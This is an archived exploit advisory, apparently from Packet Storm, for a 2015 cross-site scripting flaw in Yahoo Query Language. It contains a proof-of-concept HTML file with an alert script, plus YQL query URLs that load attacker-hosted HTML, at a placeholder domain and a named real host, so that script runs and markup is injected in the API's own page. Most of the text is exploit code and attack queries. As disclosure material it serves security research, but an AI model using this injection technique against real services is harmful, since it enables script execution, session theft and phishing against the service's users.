Yahoo Query Language Cross Site Scripting

🗓️ 08 Mar 2015 00:00:00Reported by C4TType

packetstorm🔗 packetstormsecurity.com👁 20 Views

Yahoo Query Language Cross Site Scripting Vulnerability discovered by Peyman D. aka C4T in 2015-03-08. Exploit allows executing script and injecting HTML tags through a malicious source in the API's own page

`/***********************************************************************************  
** Exploit Title: Yahoo Query Language Cross Site Scripting   
Vulnerability  
**  
** Exploit Author: Peyman D. aka C4T  
**  
** Vendor Homepage : http://query.yahooapis.com/  
**  
** Google Dork: none  
**  
** Date: 2015-03-08  
**  
** Tested on: Windows 7 / Mozila Firefox  
**  
************************************************************************************  
** Exploit Code:  
******************  
  
<html xmlns="http://www.w3.org/1999/xhtml">  
<body>  
<span>Discovered by Peyman D.</span>  
<span>aka C4T</span>  
<script>  
alert('Successfully Exploited');  
</script>  
</body>  
</html>  
  
************************************************************************************  
Location & Vulnerable query:  
******************  
  
http://query.yahooapis.com/v1/public/yql?q= select * from html where   
url='[attacker-website.com]/exploit.html' and xpath='html'  
  
*************************************************************************************  
** Proof:  
******************  
  
Executable script tag in API's own page:  
  
Malicious source: http://hatrhyme.com/alert.html  
Exploit query:  
http://query.yahooapis.com/v1/public/yql?q= select * from html where   
url='http://hatrhyme.com/alert.html' and xpath='html'  
  
-------------------------------------------------------  
  
Injecting HTML tags in API's own page:  
  
Malicious source: http://hatrhyme.com/expl.html  
Exploit query:  
http://query.yahooapis.com/v1/public/yql?q= select * from html where   
url='http://hatrhyme.com/expl.html' and xpath='html'  
  
-------------------------------------------------------  
******************************************************************************************  
**  
** Explanation and the cause of this vulnerability:  
**  
** http://hatrhyme.com/XSSInYQL.pdf  
**  
******************************************************************************************  
`

08 Mar 2015 00:00Current